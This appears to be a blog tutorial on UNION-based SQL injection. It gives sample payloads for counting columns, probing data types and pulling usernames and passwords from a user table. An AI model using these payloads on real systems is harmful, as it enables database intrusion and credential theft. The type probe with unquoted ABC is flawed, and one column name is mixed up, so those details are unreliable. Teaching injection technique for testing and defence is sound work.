UNION based SQL Injection

What is UNION based SQL Injection?

When SQL injection vulnerability supports the UNION keyword that allows an attacker to fetch data from any table in the database, its called a UNION based SQL Injection. UNION-based SQL Injection doesn’t allow attackers to perform add or edit operation on the database but it allows fetching each kind of information from the database. UNION-based SQL Injection is more severe than blind or error-based SQL Injection but less severe than stack-based SQL Injection.

How to exploit UNION based SQL Injection? 

As we know UNION keyword has restrictions like the number of columns and data types of all columns that must be matched for the successful execution of the query.

The first step of exploitation is to identify the number of columns and for that, we can use ORDER BY directive with a column number. Take a look at the following example:

SELECT product_name FROM Products WHERE product_id = 'XYZ' ORDER BY 1--

SELECT product_name FROM Products WHERE product_id = 'XYZ' ORDER BY 2--

SELECT product_name FROM Products WHERE product_id = 'XYZ' ORDER BY 3-- 

We can use the above queries until we get the error of out of range column index. Like “ORDER BY position number x is out of range”. In our case, we have just one column product_name so we will get out of range error in the second query. In this way, we can confirm that the query has just one column.

Another way to identify the number of columns is to use SELECT NULL statements as shown in the example below:

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT NULL--

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT NULL, NULL-- 

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT NULL, NULL, NULL-- 

In our case, we have just one column product_name is there so the first query will work with just one NULL. In this way, we can be assured that just one column is there in the result of the query.

The second step is to identify the data types of the columns and for that, we can use select NULL as NULL can be cast in any data type. Let's assume there are 4 columns in the response and please take a look at examples below:

SELECT * FROM Products WHERE product_id = 'XYZ' UNION SELECT ABC, NULL, NULL, NULL-- 

SELECT * FROM Products WHERE product_id = 'XYZ' UNION SELECT NULL, ABC, NULL, NULL-- 

SELECT * FROM Products WHERE product_id = 'XYZ' UNION SELECT NULL, NULL, ABC, NULL-- 

SELECT * FROM Products WHERE product_id = 'XYZ' UNION SELECT NULL, NULL, NULL, ABC -- 

In the above 4 queries, we have applied text in different positions and if we get a successful result, we can identify the columns with the text data type.

The next step of exploitation is to retrieve data in a particular column. Now let's get back to our original example of just one column product_id. Let's assume we need to retrieve the username and password columns from the user table but we just have one column in our query result. In such a scenario, we can use string functions of SQL as shown in the example below:

SELECT product_name FROM Products WHERE product_id = 'XYZ' UNION SELECT CONCAT(username,'||',password) FROM user;--

As we can see in the example above, we will get the username and password of all users concated by the “||”. We can try to get any information about any table of the database as further exploitation.

To know more about the exploitation of the other types of SQL Injection, please read my next blogs.